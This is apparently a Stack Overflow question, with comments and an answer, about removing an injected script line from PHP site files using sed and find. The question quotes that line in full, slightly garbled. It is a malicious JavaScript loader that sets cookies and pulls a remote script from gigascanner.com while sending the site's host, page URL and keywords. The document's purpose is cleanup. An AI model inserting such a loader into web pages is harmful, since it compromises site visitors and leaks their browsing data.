0

I want to delete one line in some files.

The specific line:

var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;dhttp://www.gigascanner.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'G91825' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<' + '/script>')));

I try it with sed.

sed -i '/<script>var a='';setTimeout(1);function setCookie(a,b,c)/d' ./header.php

I read this SO question but it doesn't work for me.

I think I do something wrong?

Delete lines in a text file that containing a specific string

Community
  • 1
  • 1
cgee
  • 1,910
  • 2
  • 22
  • 38
  • The line to delete spans multiple lines? – Inian Sep 26 '16 at 06:55
  • This probably is possible. But I learned that for such tasks some graphical tool comes in handy.... Take a look at `kfilereplace`. Very convenient. And has a dry-run mode ;-) – arkascha Sep 26 '16 at 06:57
  • probably need to use double quotes as outer quotes as line to delete itself has single quotes.. or use `\x27` inplace of `'` – Sundeep Sep 26 '16 at 07:02
  • @arkascha thanks. But I need a commant for the shell. – cgee Sep 26 '16 at 07:12
  • this files not multiple lines,only one line and – Mustafa DOGRU Sep 26 '16 at 07:14

1 Answers1

0

Thanks for the comments.

I've found a solution.

find ./ -type f -exec sed -i '/setTimeout(1);function setCookie(a,b,c)/d' {} \;
cgee
  • 1,910
  • 2
  • 22
  • 38